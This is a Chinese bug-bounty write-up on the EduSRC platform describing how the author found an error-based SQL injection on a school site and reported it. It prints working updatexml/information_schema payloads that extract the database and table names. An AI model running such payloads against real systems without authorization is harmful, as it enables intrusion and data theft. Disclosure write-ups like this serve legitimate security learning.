小白最近也是在edusrc领域挖到了第一个sql注入漏洞,今天分享一下挖掘过程。

进入页面后发现存在新用户注册,而且并没有进行严格的校验,随意注册个用户

发现搜索框,直接输入'进行搜索,并没有直接回显sql报错(一般这种情况我们都是要求bp中或者yakit中查看路由得到的回显)

发现得到sql语句,后面接着尝试sql报错注入但是没有成功(可能是我太菜了,实在是注不出来)于是我决定尝试对其他参数进行'闭合

在id这个参数这里我进行闭合加注释时发现了回显(这里直接进行'闭合并没有sql回显,一般可能尝试到这里会放弃了,下次可以尝试再加上注释试试看)这里我们可以知道系统数据库中的sql语句执行是不需要闭合的,也就是说后面的语句不需要输入'和注释符号
使用sql语句:1 AND updatexml(1,concat(0x7e,(select database()),0x7e),1)回显得到数据库名

使用语句:1 AND updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1)得到了上面回显的超过数据库中有超过1个以上的表的回显,接下来得到具体的表
1 AND updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)得到了具体的表名
到这里就可以收手了,edusrc挖掘中只要得到数据库名或者表名能证明这里存在sql注入漏洞即可,不需要像靶场练习一样全部表跟列都要得到。
![]()
最后也是靠着这个洞拿到了高危3rank。
注:已经提交渗透测试报告给学校相关部门,网站漏洞已经修复。
如有错误,请大佬们指正!
1833

被折叠的 条评论
为什么被折叠?



